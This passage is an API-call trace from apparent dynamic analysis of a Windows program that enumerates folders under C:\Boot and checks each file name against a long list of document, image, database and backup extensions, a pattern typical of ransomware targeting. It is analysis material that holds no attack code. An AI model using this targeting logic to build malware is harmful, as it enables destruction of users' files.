	[0036.961] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.961] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.961] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.962] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0036.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.962] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.962] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.962] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.962] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.962] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0036.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.962] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.962] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.962] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.963] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0036.963] lstrlenW (lpString=".1cd") returned 4
	[0036.963] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0036.963] lstrlenW (lpString=".3ds") returned 4
	[0036.963] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0036.963] lstrlenW (lpString=".3fr") returned 4
	[0036.963] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0036.963] lstrlenW (lpString=".3g2") returned 4
	[0036.963] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0036.963] lstrlenW (lpString=".3gp") returned 4
	[0036.963] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0036.963] lstrlenW (lpString=".7z") returned 3
	[0036.963] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0036.963] lstrlenW (lpString=".accda") returned 6
	[0036.963] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0036.963] lstrlenW (lpString=".accdb") returned 6
	[0036.963] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0036.963] lstrlenW (lpString=".accdc") returned 6
	[0036.963] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0036.963] lstrlenW (lpString=".accde") returned 6
	[0036.963] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0036.963] lstrlenW (lpString=".accdt") returned 6
	[0036.964] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0036.964] lstrlenW (lpString=".accdw") returned 6
	[0036.964] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0036.964] lstrlenW (lpString=".adb") returned 4
	[0036.964] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".adp") returned 4
	[0036.964] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai") returned 3
	[0036.964] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0036.964] lstrlenW (lpString=".ai3") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai4") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai5") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai6") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai7") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ai8") returned 4
	[0036.964] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".anim") returned 5
	[0036.964] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0036.964] lstrlenW (lpString=".arw") returned 4
	[0036.964] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".as") returned 3
	[0036.964] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0036.964] lstrlenW (lpString=".asa") returned 4
	[0036.964] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".asc") returned 4
	[0036.964] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0036.964] lstrlenW (lpString=".ascx") returned 5
	[0036.965] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0036.965] lstrlenW (lpString=".asm") returned 4
	[0036.965] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".asmx") returned 5
	[0036.965] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0036.965] lstrlenW (lpString=".asp") returned 4
	[0036.965] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".aspx") returned 5
	[0036.965] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0036.965] lstrlenW (lpString=".asr") returned 4
	[0036.965] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".asx") returned 4
	[0036.965] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".avi") returned 4
	[0036.965] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".avs") returned 4
	[0036.965] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".backup") returned 7
	[0036.965] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0036.965] lstrlenW (lpString=".bak") returned 4
	[0036.965] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".bay") returned 4
	[0036.965] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".bd") returned 3
	[0036.965] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0036.965] lstrlenW (lpString=".bin") returned 4
	[0036.965] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".bmp") returned 4
	[0036.965] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".bz2") returned 4
	[0036.965] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0036.965] lstrlenW (lpString=".c") returned 2
	[0036.965] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0036.966] lstrlenW (lpString=".cdr") returned 4
	[0036.966] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".cer") returned 4
	[0036.966] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".cf") returned 3
	[0036.966] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0036.966] lstrlenW (lpString=".cfc") returned 4
	[0036.966] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".cfm") returned 4
	[0036.966] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".cfml") returned 5
	[0036.966] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0036.966] lstrlenW (lpString=".cfu") returned 4
	[0036.966] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".chm") returned 4
	[0036.966] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".cin") returned 4
	[0036.966] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".class") returned 6
	[0036.966] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0036.966] lstrlenW (lpString=".clx") returned 4
	[0036.966] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0036.966] lstrlenW (lpString=".config") returned 7
	[0036.966] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0036.966] lstrlenW (lpString=".cpp") returned 4
	[0036.967] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".cr2") returned 4
	[0036.967] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".crt") returned 4
	[0036.967] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".crw") returned 4
	[0036.967] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".cs") returned 3
	[0036.967] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0036.967] lstrlenW (lpString=".css") returned 4
	[0036.967] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".csv") returned 4
	[0036.967] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".cub") returned 4
	[0036.967] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dae") returned 4
	[0036.967] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dat") returned 4
	[0036.967] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".db") returned 3
	[0036.967] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0036.967] lstrlenW (lpString=".dbf") returned 4
	[0036.967] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dbx") returned 4
	[0036.967] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dc3") returned 4
	[0036.967] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dcm") returned 4
	[0036.967] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".dcr") returned 4
	[0036.967] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0036.967] lstrlenW (lpString=".der") returned 4
	[0036.967] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dib") returned 4
	[0036.968] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dic") returned 4
	[0036.968] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dif") returned 4
	[0036.968] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".divx") returned 5
	[0036.968] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".djvu") returned 5
	[0036.968] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".dng") returned 4
	[0036.968] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".doc") returned 4
	[0036.968] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".docm") returned 5
	[0036.968] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".docx") returned 5
	[0036.968] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".dot") returned 4
	[0036.968] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dotm") returned 5
	[0036.968] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".dotx") returned 5
	[0036.968] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0036.968] lstrlenW (lpString=".dpx") returned 4
	[0036.968] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dqy") returned 4
	[0036.968] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dsn") returned 4
	[0036.968] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0036.968] lstrlenW (lpString=".dt") returned 3
	[0036.968] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0036.968] lstrlenW (lpString=".dtd") returned 4
	[0036.968] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".dwg") returned 4
	[0036.969] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".dwt") returned 4
	[0036.969] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".dx") returned 3
	[0036.969] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0036.969] lstrlenW (lpString=".dxf") returned 4
	[0036.969] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".edml") returned 5
	[0036.969] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0036.969] lstrlenW (lpString=".efd") returned 4
	[0036.969] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".elf") returned 4
	[0036.969] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".emf") returned 4
	[0036.969] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".emz") returned 4
	[0036.969] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".epf") returned 4
	[0036.969] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".eps") returned 4
	[0036.969] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".epsf") returned 5
	[0036.969] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0036.969] lstrlenW (lpString=".epsp") returned 5
	[0036.969] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0036.969] lstrlenW (lpString=".erf") returned 4
	[0036.969] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".exr") returned 4
	[0036.969] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".f4v") returned 4
	[0036.969] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0036.969] lstrlenW (lpString=".fido") returned 5
	[0036.969] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0036.970] lstrlenW (lpString=".flm") returned 4
	[0036.970] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".flv") returned 4
	[0036.970] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".frm") returned 4
	[0036.970] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".fxg") returned 4
	[0036.970] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".geo") returned 4
	[0036.970] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".gif") returned 4
	[0036.970] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".grs") returned 4
	[0036.970] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".gz") returned 3
	[0036.970] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0036.970] lstrlenW (lpString=".h") returned 2
	[0036.970] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0036.970] lstrlenW (lpString=".hdr") returned 4
	[0036.970] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".hpp") returned 4
	[0036.970] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".hta") returned 4
	[0036.970] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0036.970] lstrlenW (lpString=".htc") returned 4
	[0037.009] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0037.009] lstrlenW (lpString=".htm") returned 4
	[0037.010] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".html") returned 5
	[0037.010] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0037.010] lstrlenW (lpString=".icb") returned 4
	[0037.010] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".ics") returned 4
	[0037.010] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".iff") returned 4
	[0037.010] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".inc") returned 4
	[0037.010] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".indd") returned 5
	[0037.010] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0037.010] lstrlenW (lpString=".ini") returned 4
	[0037.010] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".iqy") returned 4
	[0037.010] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".j2c") returned 4
	[0037.010] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".j2k") returned 4
	[0037.010] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".java") returned 5
	[0037.010] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0037.010] lstrlenW (lpString=".jp2") returned 4
	[0037.010] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".jpc") returned 4
	[0037.010] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".jpe") returned 4
	[0037.010] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0037.010] lstrlenW (lpString=".jpeg") returned 5
	[0037.011] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0037.011] lstrlenW (lpString=".jpf") returned 4
	[0037.011] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".jpg") returned 4
	[0037.011] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".jpx") returned 4
	[0037.011] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".js") returned 3
	[0037.011] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0037.011] lstrlenW (lpString=".jsf") returned 4
	[0037.011] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".json") returned 5
	[0037.011] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0037.011] lstrlenW (lpString=".jsp") returned 4
	[0037.011] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".kdc") returned 4
	[0037.011] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".kmz") returned 4
	[0037.011] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".kwm") returned 4
	[0037.011] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".lasso") returned 6
	[0037.011] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0037.011] lstrlenW (lpString=".lbi") returned 4
	[0037.011] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".lgf") returned 4
	[0037.011] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".lgp") returned 4
	[0037.011] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".log") returned 4
	[0037.011] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0037.011] lstrlenW (lpString=".m1v") returned 4
	[0037.011] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".m4a") returned 4
	[0037.012] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".m4v") returned 4
	[0037.012] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".max") returned 4
	[0037.012] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".md") returned 3
	[0037.012] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0037.012] lstrlenW (lpString=".mda") returned 4
	[0037.012] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mdb") returned 4
	[0037.012] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mde") returned 4
	[0037.012] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mdf") returned 4
	[0037.012] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mdw") returned 4
	[0037.012] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mef") returned 4
	[0037.012] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mft") returned 4
	[0037.012] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mfw") returned 4
	[0037.012] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mht") returned 4
	[0037.012] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mhtml") returned 6
	[0037.012] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0037.012] lstrlenW (lpString=".mka") returned 4
	[0037.012] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0037.012] lstrlenW (lpString=".mkidx") returned 6
	[0037.012] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0037.012] lstrlenW (lpString=".mkv") returned 4
	[0037.013] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mos") returned 4
	[0037.013] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mov") returned 4
	[0037.013] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0037.013] lstrlenW (lpString=".mp3") returned 4
	[0037.013] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
